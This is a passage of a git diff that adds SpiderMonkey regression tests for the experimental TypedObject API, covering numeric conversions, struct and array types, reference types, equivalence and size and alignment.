+ // we should double-check that the result below is robust.)
+ var fsum = floats.reduce((a, b) => a + b);
+ assertEq(fsum, 128.0+129.0+130.0+131.0+132.0);
+}
+
+function reduceVectors() {
+ var VectorType = uint32.array(3);
+ var VectorsType = VectorType.array(3);
+ var array = new VectorsType([[1, 2, 3],
+ [4, 5, 6],
+ [7, 8, 9]]);
+
+ var sum = array.reduce(vectorAdd);
+ assertTypedEqual(VectorType,
+ sum,
+ new VectorType([1+4+7,
+ 2+5+8,
+ 3+6+9]));
+
+ // The mutated accumulator does not alias the input.
+ assertTypedEqual(VectorsType,
+ array,
+ new VectorsType([[1, 2, 3],
+ [4, 5, 6],
+ [7, 8, 9]]));
+
+ var sum = array.reduce(vectorAddFunctional);
+ assertTypedEqual(VectorType,
+ sum,
+ new VectorType([1+4+7,
+ 2+5+8,
+ 3+6+9]));
+
+ function vectorAdd(l, r) {
+ assertEq(l.length, r.length);
+ for (var i = 0; i < l.length; i++)
+ l[i] += r[i];
+ return l;
+ }
+
+ function vectorAddFunctional(l, r) {
+ assertEq(l.length, r.length);
+ return VectorType.build(1, i => l[i] + r[i]);
+ }
+
+}
+
+function runTests() {
+ print(BUGNUMBER + ": " + summary);
+
+ reduceUint8s();
+ reduceVectors();
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+ print("Tests complete");
+}
+
+runTests();
diff --git a/js/src/tests/ecma_7/TypedObject/numerictypes.js b/js/src/tests/ecma_7/TypedObject/numerictypes.js
new file mode 100644
index 000000000..9df58f346
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/numerictypes.js
@@ -0,0 +1,189 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+var BUGNUMBER = 578700;
+var summary = 'TypedObjects numeric types';
+var actual = '';
+var expect = '';
+
+var ArrayType = TypedObject.ArrayType;
+var StructType = TypedObject.StructType;
+var uint8 = TypedObject.uint8;
+var uint16 = TypedObject.uint16;
+var uint32 = TypedObject.uint32;
+var uint8Clamped = TypedObject.uint8Clamped;
+var int8 = TypedObject.int8;
+var int16 = TypedObject.int16;
+var int32 = TypedObject.int32;
+var float32 = TypedObject.float32;
+var float64 = TypedObject.float64;
+
+function runTests()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ var TestPassCount = 0;
+ var TestFailCount = 0;
+ var TestTodoCount = 0;
+
+ var TODO = 1;
+
+ function check(fun, todo) {
+ var thrown = null;
+ var success = false;
+ try {
+ success = fun();
+ } catch (x) {
+ thrown = x;
+ }
+
+ if (thrown)
+ success = false;
+
+ if (todo) {
+ TestTodoCount++;
+
+ if (success) {
+ var ex = new Error;
+ print ("=== TODO but PASSED? ===");
+ print (ex.stack);
+ print ("========================");
+ }
+
+ return;
+ }
+
+ if (success) {
+ TestPassCount++;
+ } else {
+ TestFailCount++;
+
+ var ex = new Error;
+ print ("=== FAILED ===");
+ print (ex.stack);
+ if (thrown) {
+ print (" threw exception:");
+ print (thrown);
+ }
+ print ("==============");
+ }
+ }
+
+ function checkThrows(fun, todo) {
+ var thrown = false;
+ try {
+ fun();
+ } catch (x) {
+ thrown = true;
+ }
+
+ check(() => thrown, todo);
+ }
+
+ var types = [uint8, uint16, uint32, int8, int16, int32];
+ var strings = ["uint8", "uint16", "uint32", "int8", "int16", "int32"];
+ for (var i = 0; i < types.length; i++) {
+ var type = types[i];
+
+ check(() => type(true) === 1);
+ check(() => type(false) === 0);
+ check(() => type(+Infinity) === 0);
+ check(() => type(-Infinity) === 0);
+ check(() => type(NaN) === 0);
+ check(() => type.toSource() === strings[i]);
+ check(() => type(null) == 0);
+ check(() => type(undefined) == 0);
+ check(() => type([]) == 0);
+ check(() => type({}) == 0);
+ check(() => type(/abcd/) == 0);
+
+ checkThrows(() => new type());
+ checkThrows(() => type());
+ }
+
+ var floatTypes = [float32, float64];
+ var floatStrings = ["float32", "float64"];
+ for (var i = 0; i < floatTypes.length; i++) {
+ var type = floatTypes[i];
+
+ check(() => type(true) === 1);
+ check(() => type(false) === 0);
+ check(() => type(+Infinity) === Infinity);
+ check(() => type(-Infinity) === -Infinity);
+ check(() => Number.isNaN(type(NaN)));
+ check(() => type.toSource() === floatStrings[i]);
+ check(() => type(null) == 0);
+ check(() => Number.isNaN(type(undefined)));
+ check(() => type([]) == 0);
+ check(() => Number.isNaN(type({})));
+ check(() => Number.isNaN(type(/abcd/)));
+
+ checkThrows(() => new type());
+ checkThrows(() => type());
+ }
+
+ ///// test ranges and creation
+ /// uint8
+ // valid
+ check(() => uint8(0) == 0);
+ check(() => uint8(-0) == 0);
+ check(() => uint8(129) == 129);
+ check(() => uint8(255) == 255);
+
+ // overflow is allowed for explicit conversions
+ check(() => uint8(-1) == 255);
+ check(() => uint8(-255) == 1);
+ check(() => uint8(256) == 0);
+ check(() => uint8(2345678) == 206);
+ check(() => uint8(3.14) == 3);
+ check(() => uint8(342.56) == 86);
+ check(() => uint8(-342.56) == 170);
+
+ /// uint8clamped
+ // valid
+ check(() => uint8Clamped(0) == 0);
+ check(() => uint8Clamped(-0) == 0);
+ check(() => uint8Clamped(129) == 129);
+ check(() => uint8Clamped(-30) == 0);
+ check(() => uint8Clamped(254.5) == 254);
+ check(() => uint8Clamped(257) == 255);
+ check(() => uint8Clamped(513) == 255);
+ check(() => uint8Clamped(60000) == 255);
+
+ // strings
+ check(() => uint8("0") == 0);
+ check(() => uint8("255") == 255);
+ check(() => uint8("256") == 0);
+ check(() => uint8("0x0f") == 15);
+ check(() => uint8("0x00") == 0);
+ check(() => uint8("0xff") == 255);
+ check(() => uint8("0x1ff") == 255);
+ // in JS, string literals with leading zeroes are interpreted as decimal
+ check(() => uint8("-0777") == 247);
+ check(() => uint8("-0xff") == 0);
+
+ /// uint16
+ // valid
+ check(() => uint16(65535) == 65535);
+
+ // overflow is allowed for explicit conversions
+ check(() => uint16(-1) == 65535);
+ check(() => uint16(-65535) == 1);
+ check(() => uint16(-65536) == 0);
+ check(() => uint16(65536) == 0);
+
+ // strings
+ check(() => uint16("0x1234") == 0x1234);
+ check(() => uint16("0x00") == 0);
+ check(() => uint16("0xffff") == 65535);
+ check(() => uint16("-0xffff") == 0);
+ check(() => uint16("0xffffff") == 0xffff);
+
+ // wrong types
+ check(() => uint16(3.14) == 3); // c-like casts in explicit conversion
+
+ print("done");
+
+ reportCompare(0, TestFailCount, "TypedObjects numeric type tests");
+}
+
+runTests();
diff --git a/js/src/tests/ecma_7/TypedObject/objecttype.js b/js/src/tests/ecma_7/TypedObject/objecttype.js
new file mode 100644
index 000000000..3f0f3747f
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/objecttype.js
@@ -0,0 +1,38 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+var BUGNUMBER = 917454;
+var summary = 'objecttype';
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var T = TypedObject;
+
+function runTests() {
+ var Point = T.float32.array(3);
+ var Line = new T.StructType({from: Point, to: Point});
+ var Lines = Line.array(3);
+
+ var lines = new Lines([
+ {from: [1, 2, 3], to: [4, 5, 6]},
+ {from: [7, 8, 9], to: [10, 11, 12]},
+ {from: [13, 14, 15], to: [16, 17, 18]}
+ ]);
+
+ assertEq(T.objectType(lines), Lines);
+ assertEq(T.objectType(lines[0]), Line);
+ assertEq(T.objectType(lines[0].from[0]), T.float64);
+ assertEq(T.objectType(""), T.String);
+ assertEq(T.objectType({}), T.Object);
+ assertEq(T.objectType([]), T.Object);
+ assertEq(T.objectType(function() { }), T.Object);
+ assertEq(T.objectType(undefined), T.Any);
+
+ reportCompare(true, true);
+ print("Tests complete");
+}
+
+runTests();
+
+
diff --git a/js/src/tests/ecma_7/TypedObject/redimension.js b/js/src/tests/ecma_7/TypedObject/redimension.js
new file mode 100644
index 000000000..c061f5a2b
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/redimension.js
@@ -0,0 +1,57 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+var BUGNUMBER = 922172;
+var summary = 'redimension method';
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var T = TypedObject;
+
+function runTests() {
+ var counter;
+
+ // create an array of 40 bytes with some initial data
+ var Bytes40 = T.uint8.array(40);
+ var bytes40 = new Bytes40();
+ for (var i = 0, counter = 0; i < 40; i++)
+ bytes40[i] = counter++;
+
+ // redimension to an array of 10x4 bytes, check data is unchanged
+ var Bytes10times4 = T.uint8.array(10, 4);
+ var bytes10times4 = bytes40.redimension(Bytes10times4);
+ counter = 0;
+ for (var i = 0; i < 10; i++)
+ for (var j = 0; j < 4; j++)
+ assertEq(counter++, bytes10times4[i][j]);
+
+ // redimension to an array of 2x5x2x2, check data is unchanged
+ var Bytes2times5times2times2 = T.uint8.array(2, 5, 2, 2);
+ var bytes2times5times2times2 = bytes10times4.redimension(Bytes2times5times2times2);
+ counter = 0;
+ for (var i = 0; i < 2; i++)
+ for (var j = 0; j < 5; j++)
+ for (var k = 0; k < 2; k++)
+ for (var l = 0; l < 2; l++)
+ assertEq(counter++, bytes2times5times2times2[i][j][k][l]);
+
+ // test what happens if number of elements does not match
+ assertThrowsInstanceOf(() => {
+ var Bytes10times5 = T.uint8.array(10, 5);
+ bytes40.redimension(Bytes10times5);
+ }, TypeError);
+
+ // test what happens if inner type does not match, even if size is the same
+ assertThrowsInstanceOf(() => {
+ var Words40 = T.uint8Clamped.array(40);
+ bytes40.redimension(Words40);
+ }, TypeError);
+
+ reportCompare(true, true);
+ print("Tests complete");
+}
+
+runTests();
+
+
diff --git a/js/src/tests/ecma_7/TypedObject/referencetypealiasing.js b/js/src/tests/ecma_7/TypedObject/referencetypealiasing.js
new file mode 100644
index 000000000..66e6e16a8
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/referencetypealiasing.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+var BUGNUMBER = 898359;
+var summary = 'TypedObjects reference type aliasing';
+var actual = '';
+var expect = '';
+
+var ArrayType = TypedObject.ArrayType;
+var StructType = TypedObject.StructType;
+var Any = TypedObject.Any;
+var Object = TypedObject.Object;
+var string = TypedObject.string;
+
+function runTests()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ var MyType = new StructType({f: Object});
+
+ // Test aliasing
+ var myInstance = new MyType({f: {a: 22}});
+ var anotherInstance = new MyType({f: myInstance.f});
+ assertEq(myInstance.f.a, 22);
+ assertEq(myInstance.f.a, anotherInstance.f.a);
+
+ myInstance.f.a += 1;
+ assertEq(myInstance.f.a, 23);
+ assertEq(myInstance.f.a, anotherInstance.f.a);
+
+ reportCompare(true, true, "TypedObjects reference type aliasing tests");
+}
+
+runTests();
diff --git a/js/src/tests/ecma_7/TypedObject/referencetypecoercions.js b/js/src/tests/ecma_7/TypedObject/referencetypecoercions.js
new file mode 100644
index 000000000..0a62b07fd
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/referencetypecoercions.js
@@ -0,0 +1,70 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+var BUGNUMBER = 898359;
+var summary = 'TypedObjects reference type coercions';
+var actual = '';
+var expect = '';
+
+var ArrayType = TypedObject.ArrayType;
+var StructType = TypedObject.StructType;
+var Any = TypedObject.Any;
+var Object = TypedObject.Object;
+var string = TypedObject.string;
+
+function TestValues(type, values) {
+ for (var i = 0; i < values.length; i++) {
+ compare(type(values[i].input), values[i]);
+ }
+
+ var Struct = new StructType({f: type});
+ for (var i = 0; i < values.length; i++) {
+ var struct = new Struct({f: values[i].input});
+ compare(struct.f, values[i]);
+ }
+
+ for (var i = 0; i < values.length; i++) {
+ var struct = new Struct();
+ struct.f = values[i].input;
+ compare(struct.f, values[i]);
+ }
+
+ var Array = new ArrayType(type, 1);
+ for (var i = 0; i < values.length; i++) {
+ var array = new Array();
+ array[0] = values[i].input;
+ compare(array[0], values[i]);
+ }
+
+ function compare(v, spec) {
+ if (spec.source)
+ v = v.toSource();
+ assertEq(v, spec.output);
+ }
+}
+
+function runTests()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ var x = {};
+
+ TestValues(Any, [{input: undefined, output: undefined},
+ {input: x, output: x},
+ {input: 22.22, output: 22.22},
+ {input: true, output: true}]);
+
+ TestValues(string, [{input: undefined, output: "undefined"},
+ {input: x, output: x.toString()},
+ {input: 22.22, output: "22.22"},
+ {input: true, output: "true"}]);
+
+ assertThrows(() => Object(undefined));
+
+ TestValues(Object, [{input: x, output: x},
+ {input: 22.22, source: true, output: "(new Number(22.22))"},
+ {input: true, source: true, output: "(new Boolean(true))"}]);
+
+ reportCompare(true, true, "TypedObjects reference type tests");
+}
+
+runTests();
diff --git a/js/src/tests/ecma_7/TypedObject/referencetypemultiple.js b/js/src/tests/ecma_7/TypedObject/referencetypemultiple.js
new file mode 100644
index 000000000..f5fc54891
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/referencetypemultiple.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+var BUGNUMBER = 898359;
+var summary = 'TypedObjects reference type coercions';
+var actual = '';
+var expect = '';
+
+var ArrayType = TypedObject.ArrayType;
+var StructType = TypedObject.StructType;
+var Any = TypedObject.Any;
+var Object = TypedObject.Object;
+var string = TypedObject.string;
+
+
+function runTests()
+{
+ var S = new StructType({f: Any, g: Any});
+ var s = new S({f: "Hello", g: "Hello"});
+ assertEq(s.f, s.g);
+ reportCompare(true, true, "TypedObjects trace tests");
+}
+
+runTests();
diff --git a/js/src/tests/ecma_7/TypedObject/referencetypetrace.js b/js/src/tests/ecma_7/TypedObject/referencetypetrace.js
new file mode 100644
index 000000000..02246c1d2
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/referencetypetrace.js
@@ -0,0 +1,80 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject")||!this.hasOwnProperty("hasChild"))
+var BUGNUMBER = 898359;
+var summary = 'TypedObjects reference type trace';
+var actual = '';
+var expect = '';
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var ArrayType = TypedObject.ArrayType;
+var StructType = TypedObject.StructType;
+var Any = TypedObject.Any;
+var Object = TypedObject.Object;
+var string = TypedObject.string;
+
+function TestStructFields(RefType) {
+ var rabbit = {};
+ var S1 = new StructType({f: RefType});
+ var s1 = new S1({f: rabbit});
+ assertEq(hasChild(s1, rabbit), true);
+ s1.f = null;
+ assertEq(hasChild(s1, rabbit), false);
+}
+
+function TestArrayElements(RefType) {
+ var rabbit = {};
+ var S1 = new ArrayType(RefType, 1);
+ var s1 = new S1([rabbit]);
+ assertEq(hasChild(s1, rabbit), true);
+ s1[0] = null;
+ assertEq(hasChild(s1, rabbit), false);
+}
+
+function TestStructInArray(RefType) {
+ var rabbit = {};
+ var S2 = new StructType({f: RefType, g: RefType});
+ var S1 = new ArrayType(S2, 1);
+ var s1 = new S1([{f: rabbit, g: {}}]);
+ assertEq(hasChild(s1, rabbit), true);
+ s1[0].f = null;
+ assertEq(hasChild(s1, rabbit), false);
+}
+
+function TestStringInStruct() {
+ // Rather subtle hair-pullingly maddening testing phenomena: If you
+ // just use a constant string here, it's always reachable via the
+ // atoms table. Same is true of "Hello" + "1" (an earlier
+ // attempt) due to parser constant folding. So we have to make a
+ // rabbit that's not constant foldable. But don't just use
+ // Math.random(), since small integers are atoms already.
+ var rabbit = "Hello" + Math.random();
+ var S1 = new StructType({f: string});
+ var s1 = new S1({f: rabbit});
+ assertEq(hasChild(s1, rabbit), true);
+ s1.f = "World";
+ assertEq(hasChild(s1, rabbit), false);
+}
+
+function runTests()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ TestStructFields(Object);
+ TestStructFields(Any);
+
+ TestArrayElements(Object);
+ TestArrayElements(Any);
+
+ TestStructInArray(Object);
+ TestStructInArray(Any);
+
+ TestStringInStruct();
+
+ reportCompare(true, true, "TypedObjects trace tests");
+}
+
+runTests();
diff --git a/js/src/tests/ecma_7/TypedObject/referencetypeuninit.js b/js/src/tests/ecma_7/TypedObject/referencetypeuninit.js
new file mode 100644
index 000000000..86e8d7a6d
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/referencetypeuninit.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+var BUGNUMBER = 898359;
+var summary = 'TypedObjects reference type default values';
+var actual = '';
+var expect = '';
+
+var ArrayType = TypedObject.ArrayType;
+var StructType = TypedObject.StructType;
+var Any = TypedObject.Any;
+var Object = TypedObject.Object;
+var string = TypedObject.string;
+
+function runTests()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ var S = new StructType({any: Any,
+ object: Object,
+ string: string});
+ var s = new S();
+
+ assertEq(s.any, undefined);
+ assertEq(s.object, null);
+ assertEq(s.string, "");
+
+ reportCompare(true, true, "TypedObjects ref type uninit");
+}
+
+runTests();
diff --git a/js/src/tests/ecma_7/TypedObject/scalar_types.js b/js/src/tests/ecma_7/TypedObject/scalar_types.js
new file mode 100644
index 000000000..5d5ea5c02
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/scalar_types.js
@@ -0,0 +1,68 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+
+var BUGNUMBER = 578700;
+var summary = 'Byte-sized type conversion';
+
+var T = TypedObject;
+
+function check(results, ctor) {
+ print("ctor = ", ctor.toSource());
+
+ // check applying the ctor directly
+ for (var i = 0; i < results.length; i++)
+ assertEq(results[i][0], ctor(results[i][1]));
+
+ // check writing and reading from a struct
+ var S = new T.StructType({f: ctor});
+ for (var i = 0; i < results.length; i++) {
+ var s = new S({f: results[i][1]});
+ assertEq(results[i][0], s.f);
+ }
+}
+
+function runTests() {
+ print(BUGNUMBER + ": " + summary);
+
+ var int8results = [
+ [22, 22],
+ [-128, 128],
+ [-1, 255],
+ [-128, -128],
+ [127, -129],
+ [0x75, 0x7575],
+ [-123, 0x7585]
+ ];
+ check(int8results, T.int8);
+
+ var uint8results = [
+ [22, 22],
+ [128, 128],
+ [255, 255],
+ [0, 256],
+ [128, -128],
+ [127, -129],
+ [129, 129],
+ [0x75, 0x7575],
+ [0x85, 0x7585]
+ ];
+ check(uint8results, T.uint8);
+
+ var uint8clampedresults = [
+ [22, 22],
+ [128, 128],
+ [255, 255],
+ [0, -128],
+ [0, -129],
+ [129, 129],
+ [255, 0x7575],
+ [255, 0x7585]
+ ];
+ check(uint8clampedresults, T.uint8Clamped);
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+ print("Tests complete");
+}
+
+runTests();
diff --git a/js/src/tests/ecma_7/TypedObject/shell.js b/js/src/tests/ecma_7/TypedObject/shell.js
new file mode 100644
index 000000000..a0471778d
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/shell.js
@@ -0,0 +1,29 @@
+// Checks that |a_orig| and |b_orig| are:
+// 1. Both instances of |type|, and
+// 2. Are structurally equivalent (as dictated by the structure of |type|).
+function assertTypedEqual(type, a_orig, b_orig) {
+ try {
+ recur(type, a_orig, b_orig);
+ } catch (e) {
+ print("failure during "+
+ "assertTypedEqual("+type.toSource()+", "+a_orig.toSource()+", "+b_orig.toSource()+")");
+ throw e;
+ }
+
+ function recur(type, a, b) {
+ if (type instanceof ArrayType) {
+ assertEq(a.length, type.length);
+ assertEq(b.length, type.length);
+ for (var i = 0; i < type.length; i++)
+ recur(type.elementType, a[i], b[i]);
+ } else if (type instanceof StructType) {
+ var fieldNames = Object.getOwnPropertyNames(type.fieldTypes);
+ for (var i = 0; i < fieldNames.length; i++) {
+ var fieldName = fieldNames[i];
+ recur(type.fieldTypes[fieldName], a[fieldName], b[fieldName]);
+ }
+ } else {
+ assertEq(a, b);
+ }
+ }
+}
diff --git a/js/src/tests/ecma_7/TypedObject/simpleequiv.js b/js/src/tests/ecma_7/TypedObject/simpleequiv.js
new file mode 100644
index 000000000..144315262
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/simpleequiv.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+var BUGNUMBER = 922216;
+var summary = 'TypedObjects Equivalent Numeric Types';
+
+var T = TypedObject;
+
+function runTests() {
+ print(BUGNUMBER + ": " + summary);
+
+ var simpleTypes = [
+ T.int8, T.int16, T.int32,
+ T.uint8, T.uint16, T.uint32,
+ T.float32, T.float64,
+ T.Object, T.Any, T.string
+ ];
+
+ for (var i = 0; i < simpleTypes.length; i++)
+ for (var j = 0; j < simpleTypes.length; j++)
+ assertEq(i == j, simpleTypes[i].equivalent(simpleTypes[j]));
+
+ reportCompare(true, true);
+ print("Tests complete");
+}
+
+runTests();
diff --git a/js/src/tests/ecma_7/TypedObject/size_and_alignment.js b/js/src/tests/ecma_7/TypedObject/size_and_alignment.js
new file mode 100644
index 000000000..c01dc9572
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/size_and_alignment.js
@@ -0,0 +1,61 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+var BUGNUMBER = 578700;
+var summary = 'Size and Alignment of TypedObjects types';
+var actual = '';
+var expect = '';
+
+
+var ArrayType = TypedObject.ArrayType;
+var StructType = TypedObject.StructType;
+var uint8 = TypedObject.uint8;
+var uint16 = TypedObject.uint16;
+var uint32 = TypedObject.uint32;
+var uint8Clamped = TypedObject.uint8Clamped;
+var int8 = TypedObject.int8;
+var int16 = TypedObject.int16;
+var int32 = TypedObject.int32;
+var float32 = TypedObject.float32;
+var float64 = TypedObject.float64;
+
+
+function runTests() {
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ var typesAndAlignments = [
+ {type: uint8, size: 1, alignment: 1},
+ {type: uint8Clamped, size: 1, alignment: 1},
+ {type: uint16, size: 2, alignment: 2},
+ {type: uint32, size: 4, alignment: 4},
+
+ {type: int8, size: 1, alignment: 1},
+ {type: int16, size: 2, alignment: 2},
+ {type: int32, size: 4, alignment: 4},
+
+ {type: float32, size: 4, alignment: 4},
+ {type: float64, size: 8, alignment: 8},
+
+ {type: new StructType({a: uint8, b: uint16, c: uint8}), size: 6, alignment: 2},
+
+ {type: new StructType({a: uint8, b: uint8, c: uint16}), size: 4, alignment: 2},
+
+ {type: new ArrayType(uint8, 32), size: 32, alignment: 1},
+ {type: new ArrayType(uint16, 16), size: 32, alignment: 2},
+ {type: new ArrayType(uint32, 8), size: 32, alignment: 4},
+ ];
+
+ for (var i = 0; i < typesAndAlignments.length; i++) {
+ var test = typesAndAlignments[i];
+ print("Type:", test.type.toSource(),
+ "Size:", test.type.byteLength,
+ "Alignment:", test.type.byteAlignment);
+ assertEq(test.type.byteLength, test.size);
+ assertEq(test.type.byteAlignment, test.alignment);
+ }
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+ print("Tests complete");
+}
+
+runTests();
diff --git a/js/src/tests/ecma_7/TypedObject/storageopaque.js b/js/src/tests/ecma_7/TypedObject/storageopaque.js
new file mode 100644
index 000000000..b90bd9b10
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/storageopaque.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+var BUGNUMBER = 898356;
+
+var {StructType, uint32, Object, Any, storage, objectType} = TypedObject;
+
+function main() { // once a C programmer, always a C programmer.
+ print(BUGNUMBER + ": " + summary);
+
+ var Uints = new StructType({f: uint32, g: uint32});
+ var uints = new Uints({f: 0, g: 1});
+ assertEq(storage(uints) != null, true);
+
+ var Objects = new StructType({f: Object, g: Object});
+ var objects = new Objects({f: 0, g: 1});
+ assertEq(storage(objects), null);
+
+ var Anys = new StructType({f: Any, g: Any});
+ var anys = new Anys({f: 0, g: 1});
+ assertEq(storage(anys), null);
+
+ // Note: test that `mixed.g`, when derived from an opaque buffer,
+ // remains opaque.
+ var Mixed = new StructType({f: Object, g: Uints});
+ var mixed = new Mixed({f: 0, g: {f: 22, g: 44}});
+ assertEq(storage(mixed), null);
+ assertEq(objectType(mixed.g), Uints);
+ assertEq(storage(mixed.g), null);
+
+ reportCompare(true, true);
+ print("Tests complete");
+}
+
+main();
diff --git a/js/src/tests/ecma_7/TypedObject/structequiv.js b/js/src/tests/ecma_7/TypedObject/structequiv.js
new file mode 100644
index 000000000..6881e3ba3
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/structequiv.js
@@ -0,0 +1,61 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+var BUGNUMBER = 922216;
+var summary = 'TypedObjects Equivalent StructTypes';
+
+var ArrayType = TypedObject.ArrayType;
+var StructType = TypedObject.StructType;
+var uint8 = TypedObject.uint8;
+var uint16 = TypedObject.uint16;
+var uint32 = TypedObject.uint32;
+var uint8Clamped = TypedObject.uint8Clamped;
+var int8 = TypedObject.int8;
+var int16 = TypedObject.int16;
+var int32 = TypedObject.int32;
+var float32 = TypedObject.float32;
+var float64 = TypedObject.float64;
+
+function assertEquivalent(t1, t2) {
+ assertEq(true, t1.equivalent(t2));
+ assertEq(true, t2.equivalent(t1));
+}
+
+function assertNotEquivalent(t1, t2) {
+ assertEq(false, t1.equivalent(t2));
+ assertEq(false, t2.equivalent(t1));
+}
+
+function runTests() {
+ print(BUGNUMBER + ": " + summary);
+
+ // Create a line:
+ var PixelType1 = new StructType({x: uint8, y: uint8});
+ var LineType1 = new StructType({from: PixelType1, to: PixelType1});
+
+ // Sanity checks about type equivalence:
+ assertEquivalent(PixelType1, PixelType1);
+ assertEquivalent(LineType1, LineType1);
+ assertNotEquivalent(PixelType1, LineType1);
+
+ // Define the same two types again. Equivalent.
+ var PixelType2 = new StructType({x: uint8, y: uint8});
+ var LineType2 = new StructType({from: PixelType2, to: PixelType2});
+ assertEquivalent(PixelType1, PixelType2);
+ assertEquivalent(LineType1, LineType2);
+
+ // Define the pixel type with field order reversed. Not equivalent.
+ var PixelType3 = new StructType({y: uint8, x: uint8});
+ var LineType3 = new StructType({from: PixelType3, to: PixelType3});
+ assertNotEquivalent(PixelType1, PixelType3);
+ assertNotEquivalent(LineType1, LineType3);
+
+ // Define the line type with field order reversed. Not equivalent.
+ var PixelType4 = new StructType({x: uint8, y: uint8});
+ var LineType4 = new StructType({to: PixelType4, from: PixelType4});
+ assertEquivalent(PixelType1, PixelType4);
+ assertNotEquivalent(LineType1, LineType4);
+
+ reportCompare(true, true);
+ print("Tests complete");
+}
+
+runTests();
diff --git a/js/src/tests/ecma_7/TypedObject/structtypeenumerate.js b/js/src/tests/ecma_7/TypedObject/structtypeenumerate.js
new file mode 100644
index 000000000..3c7bd91a7
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/structtypeenumerate.js
@@ -0,0 +1,36 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+var BUGNUMBER = 578700;
+var summary = 'TypedObjects StructType propery enumeration';
+
+var ArrayType = TypedObject.ArrayType;
+var StructType = TypedObject.StructType;
+var uint8 = TypedObject.uint8;
+var uint16 = TypedObject.uint16;
+var uint32 = TypedObject.uint32;
+var uint8Clamped = TypedObject.uint8Clamped;
+var int8 = TypedObject.int8;
+var int16 = TypedObject.int16;
+var int32 = TypedObject.int32;
+var float32 = TypedObject.float32;
+var float64 = TypedObject.float64;
+
+function runTests() {
+ var RgbColor = new StructType({r: uint8, g: uint8, b: uint8});
+ var Fade = new StructType({from: RgbColor, to: RgbColor});
+
+ var white = new RgbColor({r: 255, g: 255, b: 255});
+ var gray = new RgbColor({r: 129, g: 128, b: 127});
+ var fade = new Fade({from: white, to: gray});
+
+ var keys = Object.keys(gray);
+ assertEqArray(keys, ["r", "g", "b"]);
+
+ var keys = Object.keys(fade);
+ assertEqArray(keys, ["from", "to"]);
+
+ reportCompare(true, true);
+ print("Tests complete");
+}
+
+runTests();
+
diff --git a/js/src/tests/ecma_7/TypedObject/structtypegetownproperty.js b/js/src/tests/ecma_7/TypedObject/structtypegetownproperty.js
new file mode 100644
index 000000000..aa7907595
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/structtypegetownproperty.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+var BUGNUMBER = 1122552;
+var summary = 'Introduce [[GetOwnProperty]] object op';
+
+var StructType = TypedObject.StructType;
+var uint8 = TypedObject.uint8;
+
+function runTests() {
+ print(BUGNUMBER + ": " + summary);
+
+ var PixelType = new StructType({x: uint8, y: uint8});
+ var pixel = new PixelType({x: 15, y: 16});
+
+ var desc = Object.getOwnPropertyDescriptor(pixel, 'x');
+ assertEq(typeof desc, "object");
+ assertEq(desc.value, 15);
+ assertEq(desc.enumerable, true);
+ assertEq(desc.writable, true);
+ assertEq(desc.configurable, false);
+
+ desc = Object.getOwnPropertyDescriptor(pixel, 'dummy');
+ assertEq(typeof desc, "undefined");
+
+ reportCompare(true, true);
+ print("Tests complete");
+}
+
+runTests();
diff --git a/js/src/tests/ecma_7/TypedObject/structtypeindexedfields.js b/js/src/tests/ecma_7/TypedObject/structtypeindexedfields.js
new file mode 100644
index 000000000..e94be3cf8
--- /dev/null
+++ b/js/src/tests/ecma_7/TypedObject/structtypeindexedfields.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!this.hasOwnProperty("TypedObject"))
+var BUGNUMBER = 578700;
+var summary = 'TypedObjects: indexed properties are illegal in a StructType';
+
+var ArrayType = TypedObject.ArrayType;
+var StructType = TypedObject.StructType;
+var uint8 = TypedObject.uint8;
+var uint16 = TypedObject.uint16;
